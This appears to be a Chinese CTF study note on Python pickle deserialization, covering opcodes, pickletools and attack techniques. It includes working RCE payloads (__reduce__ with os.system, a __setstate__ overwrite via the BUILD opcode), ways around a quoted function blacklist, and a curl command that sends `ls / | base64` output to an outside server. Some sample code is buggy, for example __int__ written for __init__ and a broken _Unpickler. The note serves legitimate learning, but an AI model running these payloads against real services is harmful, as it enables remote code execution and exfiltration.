pickle反序列化

0x00 Pickle作用:序列化、反序列化

笔记参考:https://zhuanlan.zhihu.com/p/89132768

序列化(Serialization)

序列化是指将 Python 对象转换为字节流的过程。pickle 模块提供了 dumpdumps 两个函数来实现序列化。

  • **pickle.dump(obj, file)**:将对象 obj 序列化并写入到文件对象 file 中。
  • **pickle.dumps(obj)**:将对象 obj 序列化为字节流并返回。

示例1:使用pickle.dumps

1
2
3
4
5
6
7
8
9
10
import pickle

# 原始数据
data = [789, 'GYL', (118.118, 666), {'name': 'gyl'}]

# 序列化为字节流
serialized_data = pickle.dumps(data)

# 打印序列化后的字节流
print(serialized_data)

输出为:

1
b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00]\x94(M\x15\x03\x8c\x03GYL\x94G@]\x87\x8dO\xdf;dMx\x03\x86\x94}\x94\x8c\x04name\x94\x8c\x03gyl\x94se.'

示例2:使用pickle.dump

1
2
3
4
5
6
7
8
9
10
11
import pickle

# 原始数据
data = [789, 'GYL', (118.118, 888), {'name': 'gyl'}]

# 打开一个文件,准备写入
with open('data.pkl', 'wb') as file:
# 序列化数据并写入文件
pickle.dump(data, file)

print("数据已成功序列化并保存到文件中")

输出为:

1
数据已成功序列化并保存到文件中

反序列化(Deserialization)

反序列化是指将字节流转换回 Python 对象的过程。pickle 模块提供了 loadloads 两个函数来实现反序列化。

  • **pickle.load(file)**:从文件对象 file 中读取字节流并反序列化为 Python 对象。
  • **pickle.loads(bytes_object)**:从字节流 bytes_object 中反序列化为 Python 对象。

示例1:使用 pickle.loads

1
2
3
4
5
6
7
8
9
10
import pickle

# 假设我们有一个序列化的字节流
serialized_data = b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00]\x94(M\x15\x03\x8c\x03GYL\x94G@]\x87\x8dO\xdf;dMx\x03\x86\x94}\x94\x8c\x04name\x94\x8c\x03gyl\x94se.'

# 反序列化字节流
deserialized_data = pickle.loads(serialized_data)

# 打印反序列化后的对象
print(deserialized_data)

输出为:

1
[789, 'GYL', (118.118, 888), {'name': 'gyl'}]

示例2:使用 pickle.load

1
2
3
4
5
6
7
8
9
import pickle

# 打开之前保存的文件
with open('data.pkl', 'rb') as file:
# 从文件中读取字节流并反序列化
deserialized_data = pickle.load(file)

# 打印反序列化后的对象
print(deserialized_data)

输出为:

1
[789, 'GYL', (118.118, 888), {'name': 'gyl'}]

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20241111的方式赋初值,则这个**date**不会被打包!解决方案是写一个__init__方法, 也就是这样:

1
2
3
4
5
6
7
8
9
import pickle

class dairy():
def __int__(self):
self.date = 20241111
self.text = "今天天气晴朗"
self.todo = ['学习pickle反序列化','小迪安全','AAAA作业']
x = dairy()
print(pickle.dumps(x))

输出为:

1
b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05dairy\x94\x93\x94)\x81\x94.'

0x01 pickle.loads机制:调用_Unpickler类

pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下:

可以看出,_load_loads基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。

所以,接下来的任务就很清楚了:读一遍_Unpickler类的源码,然后弄清楚它干了什么事。

0x02 _Unpickler类

_Unpickler 类是 pickle 模块中用于反序列化的内部类。它负责从字节流中解析和重建 Python 对象

下面是简化的_Unpickler类实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import io
import struct

class _Unpickler:
def __init__(self, file):
self.read = file.read
self.proto = 0 # Protocol version
self.stack = [] # Stack for building objects
self.mark = -1 # Marker for nested structures

def load(self):
while True:
key = self.read(1)
if not key:
break
handler = self.dispatch.get(key)
if handler is None:
raise ValueError(f"Unknown opcode: {key}")
handler(self)
if key == b'\x95': # STOP opcode
break
if self.stack:
return self.stack.pop() # Return the final object

def load_proto(self):
proto = struct.unpack('<B', self.read(1))[0]
if not 0 <= proto <= 4:
raise ValueError("Unsupported pickle protocol: %d" % proto)
self.proto = proto

def load_none(self):
self.stack.append(None)

def load_int(self):
value = struct.unpack('<i', self.read(4))[0]
self.stack.append(value)

def load_float(self):
value = struct.unpack('<d', self.read(8))[0]
self.stack.append(value)

def load_string(self):
length = struct.unpack('<I', self.read(4))[0]
value = self.read(length).decode('utf-8')
self.stack.append(value)

def load_unicode(self):
length = struct.unpack('<I', self.read(4))[0]
value = self.read(length).decode('utf-8')
self.stack.append(value)

def load_tuple(self):
items = self.pop_mark()
self.stack.append(tuple(items))

def load_list(self):
items = self.pop_mark()
self.stack.append(list(items))

def load_dict(self):
items = self.pop_mark()
self.stack.append(dict(items))

def load_binint(self):
value = struct.unpack('<i', self.read(4))[0]
self.stack.append(value)

def load_binint1(self):
value = struct.unpack('<B', self.read(1))[0]
self.stack.append(value)

def load_binint2(self):
value = struct.unpack('<H', self.read(2))[0]
self.stack.append(value)

def load_long(self):
length = struct.unpack('<i', self.read(4))[0]
bytes_value = self.read(abs(length))
value = int.from_bytes(bytes_value, byteorder='little', signed=length < 0)
self.stack.append(value)

def load_binfloat(self):
value = struct.unpack('<d', self.read(8))[0]
self.stack.append(value)

def load_binunicode(self):
length = struct.unpack('<I', self.read(4))[0]
value = self.read(length).decode('utf-8')
self.stack.append(value)

def load_global(self):
module_length = struct.unpack('<I', self.read(4))[0]
module = self.read(module_length).decode('utf-8')
name_length = struct.unpack('<I', self.read(4))[0]
name = self.read(name_length).decode('utf-8')
obj = getattr(__import__(module, fromlist=[name]), name)
self.stack.append(obj)

def load_append(self):
value = self.stack.pop()
list_obj = self.stack[-1]
list_obj.append(value)

def load_appends(self):
value = self.stack.pop()
list_obj = self.stack[-1]
list_obj.extend(value)

def load_setitem(self):
value = self.stack.pop()
key = self.stack.pop()
dict_obj = self.stack[-1]
dict_obj[key] = value

def load_setitems(self):
items = self.stack.pop()
dict_obj = self.stack[-1]
dict_obj.update(items)

def load_mark(self):
self.stack.append(self.mark)
self.mark = len(self.stack) - 1

def pop_mark(self):
items = self.stack[self.mark + 1:]
self.stack[self.mark:] = []
self.mark = -1
return items

def load_stop(self):
pass # No action needed, just stop the loop

dispatch = {
b'\x80': load_proto, # Protocol version
b'N': load_none, # None
b'I': load_int, # Integer
b'F': load_float, # Float
b'S': load_string, # String
b'U': load_unicode, # Unicode string
b'(': load_tuple, # Tuple
b'l': load_list, # List
b'd': load_dict, # Dictionary
b'J': load_long, # Long integer
b'K': load_binint1, # Small integer
b'M': load_binint2, # Medium integer
b'G': load_binfloat, # Binary float
b'V': load_binunicode, # Binary unicode string
b'c': load_global, # Global (function or class)
b'a': load_append, # Append to list
b'e': load_appends, # Extend list
b's': load_setitem, # Set dictionary item
b't': load_setitems, # Set dictionary items
b'm': load_mark, # Mark
b'\x95': load_stop, # STOP
}

def loads(data):
file = io.BytesIO(data)
unpickler = _Unpickler(file)
return unpickler.load()

# 测试
import pickle

# 原始数据
data = [789, 'GYL', (118.118, 888), {'name': 'gyl'}]

# 序列化
s = pickle.dumps(data)

# 反序列化
r = loads(s)

# 打印结果
print(r)

(我运行这代码老是报错)

您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

0x03 pickletools:良心调试器

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import pickletools

class dairy():
def __int__(self):
self.date = 20241111
self.text = "今天天气晴朗"
self.todo = ['学习pickle反序列化','小迪安全','AAAA作业']

x = dairy()
s = pickle.dumps(x)
print(s)

pickletools.dis(s)

输出结果:

优化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import pickletools

class dairy():
def __int__(self):
self.date = 20241111
self.text = "今天天气晴朗"
self.todo = ['学习pickle反序列化','小迪安全','AAAA作业']

x = dairy()
s = pickle.dumps(x)
s = pickletools.optimize(s)
print(s)

pickletools.dis(s)

输出结果:

可以看到优化后的结果比优化前的简洁了好多

而且反汇编结果中,BINPUT指令没有了。所谓“优化”,其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT指令。

利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。

0x04 反序列化机器

pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,一共有6个版本,0-5,各个版本的运行结果如下:

字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。

下面以文章中版本号为3的结果为例:

字符串的第一个字节是\x80(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。

机器取出下一个字符作为操作符——c。 这个操作符(称为GLOBAL操作符)对我们以后的工作非常有用——它连续读取两个字符串modulename,规定以\n为分割;接下来把module.name这个东西压进栈。那么现在读取到的两个字符串分别是__main__Student,于是把__main__.Student扔进栈里。

文章中还有个要点:

注:GLOBAL操作符读取全局变量,是使用的find_class函数。而find_class对于不同的协议版本实现也不一样。总之,它干的事情是“去x模块找到y”,y必须在x的顶层(也即,y不能在嵌套的内层)。

具体的我也不是很懂

下面就读取到了)这个操作符。

文章中是这么说它的作用的:

1
它的作用是:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。

面的操作全都执行完了之后,栈里面还剩下一个元素——它是被实例化了的Student对象,目前这里面什么也没有,因为当初实例化它的时候,args是个空的数组。

程序现在读入了一个},它的意思是“把一个空的dict压进栈”。然后是MARK操作符,这个操作符干的事情称为load_mark

  • 当前栈这个整体,作为一个list,压进前序栈
  • 当前栈清空。
1
2
3
4
5
6
讲到这里,我们不得不介绍另一个操作——pop_mark。它没有操作符,只供其他的操作符来调用。干的事情自然是load_mark的反向操作:

记录一下当前栈的信息,作为一个list,在load_mark结束时返回。
弹出前序栈的栈顶,用这个list来覆盖当前栈。

load_mark相当于进入一个子过程,而pop_mark相当于从子过程退出,把栈恢复成调用子过程之前的情况。所有与栈的切换相关的事情,都靠调用这两个方法来完成。因此load_mark和pop_mark是栈管理的核心方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
现在我们看到了u操作符。它干这样的事情:

调用pop_mark。也就是说,把当前栈的内容扔进一个数组arr,然后把当前栈恢复到MARK时的状态。
执行完成之后,arr=['name', 'rxz', 'grade', 'G2'];当前栈里面存的是__main__.Student这个类、一个空的dict
拿到当前栈的末尾元素,规定必须是一个dict。
这里,读到了栈顶那个空dict。
两个一组地读arr

里面的元素,前者作为key,后者作为value,存进上一条所述的dict。

  模拟一下这个过程,发现原先是空的那个dict现在变成了{'name': 'rxz', 'grade': 'G2'}这样一个dict。所以现在,当前栈里面的元素是:__main__.Student的一个空的实例,以及{'name': 'rxz', 'grade': 'G2'}这个dict。

  下一个指令码是b,也就是BUILD指令。它干的事情是:

把当前栈栈顶存进state,然后弹掉。
把当前栈栈顶记为inst,然后弹掉。
利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。

注:

1
2
这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。
事实上,这里产生了一个安全漏洞。您可以想一想该如何利用。
1
上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是__main__.Student,里面name值是rxz,grade值是G2。下一个指令是.(一个句点,STOP指令),pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出,收工!”

注:

1
使用pickletools.dis分析一个字符串时,如果.执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads没有这么严格的检查——它会正常结束。 

通过上面的例子,模拟了运行过程,但是对于堆栈,压栈这些操作还不是很理解

0x05 reduce: (曾经的)万恶之源

在CTF比赛中,我第一次接触pickle反序列化的题目应该是在SHCTF-week2的一道题目

这类题型大多数都是在_reduce_方法上,它的指令码为R,他的作用文中是这样说的:

1
2
3
4
取当前栈的栈顶记为args,然后把它弹掉。
取当前栈的栈顶记为f,然后把它弹掉。
以args为参数,执行函数f,把结果压进当前栈。
class的__reduce__方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R指令码。 f要么返回字符串,要么返回一个tuple,后者对我们而言更有用。

文章中介绍了一种流行的攻击思路:

1
利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。网上已经有海量的文章谈论这种方法,所以我们在这里不过多讨论。只给出一个例子:正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行ls /指令。

代码和运行结果如下:

得到payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import pickletools
import os

class Student():
def __init__(self):
self.name = 'gyl'
self.grade = 'G2'
def __reduce__(self):
return (os.system, ('ls /',))

payload = pickle.dumps(Student())
payload = pickletools.optimize(payload)

print(payload)
pickletools.dis(payload)

放到Student类里面没有__reduce__方法的程序中:

代码如下:

1
2
3
4
5
6
7
8
9
10
import pickle
import pickletools
import os

class Student():
def __init__(self):
self.name = 'rxz'
self.grade = 'G2'

res = pickle.loads(b'\x80\x04\x95\x16\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c\x04ls /\x85R.')

由于windows无法识别linux命令,所以会出现报错

放到kali虚拟机里面运行报错说是没有nt这个模块,而nt这个模块是windows中特有的模块

最后放到探姬姐姐的虚拟机里面运行一下:

可以看到成功执行了ls /的命令

那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码**R**过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

看了这么多,下面才是重点

0x06 绕过函数黑名单

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

但是platform.popen()不在黑名单中

另外一种方法是利用map:

1
2
3
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

禁止__reduce__的最稳妥的方法是禁止R指令

0x07 全局变量包含:c指令码的妙用

有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应

如何用c指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxzX\x03\x00\x00\x00rxz替换成我们的这个global指令,来看看改造之后的效果:

这一步就是把序列化之后的字符串中的X\x03\x00\x00\x00rxz改成cblue\nname\n

pickle.loads一下应该是上图所示的样子

注:由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。

0x08 绕过c指令module限制:先读入,再篡改

1
2
3
4
5
6
7
8
9
10
11
12
13
之前提到过,c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢?

  通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!

  有了这个知识作为前提,我们可以干这么一件事:

通过__main__.blue引入这一个module,由于命名空间还在main内,故不会被拦截
把一个dict压进栈,内容是{'name': 'rua', 'grade': 'www'}
执行BUILD指令,会导致改写 __main__.blue.name和 __main__.blue.grade ,至此blue.name和blue.grade已经被篡改成我们想要的内容
弹掉栈顶,现在栈变成空的
照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别是'rua''www'

  由于栈顶是正常的Student对象,pickle.loads将会正常返回。到手的Student对象,当然name和grade都与blue.name、blue.grade对应了——我们刚刚亲手把blue篡改掉。
1
payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'

0x09 不用reduce,也能RCE

1
2
3
4
5
之前谈到过,__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?这就是本文研究的重点。

  现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg),其中fun和arg都必须可控。

  审pickle源码,来看看BUILD指令(指令码为b)是如何工作的:

这里的实现方式也就是上文的注所提到的:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。

它有什么安全隐患呢?我们来想想看:Student原先是没有__setstate__这个方法的。那么我们利用{'__setstate__': os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate("ls /") ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

payload:

1
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'

有一个可以改进的地方:这份payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空,然后压一个正常Student进栈。payload构造如下:

payload:

1
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'

0x10 一些细节

1
2
3
4
5
一、其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

  二、即使代码中没有import os,GLOBAL指令也可以自动导入os.system。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

  三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/`ls / | base64`),然后查询您自己的服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。

例子:

1
payload  = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl 47.***.***.105/`ls / | base64`\nb.'

pickle.loads()时,ls /的结果被base64编码后发送给服务器(红框);我们的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,我们可以通过curl把执行结果送到我们的服务器上。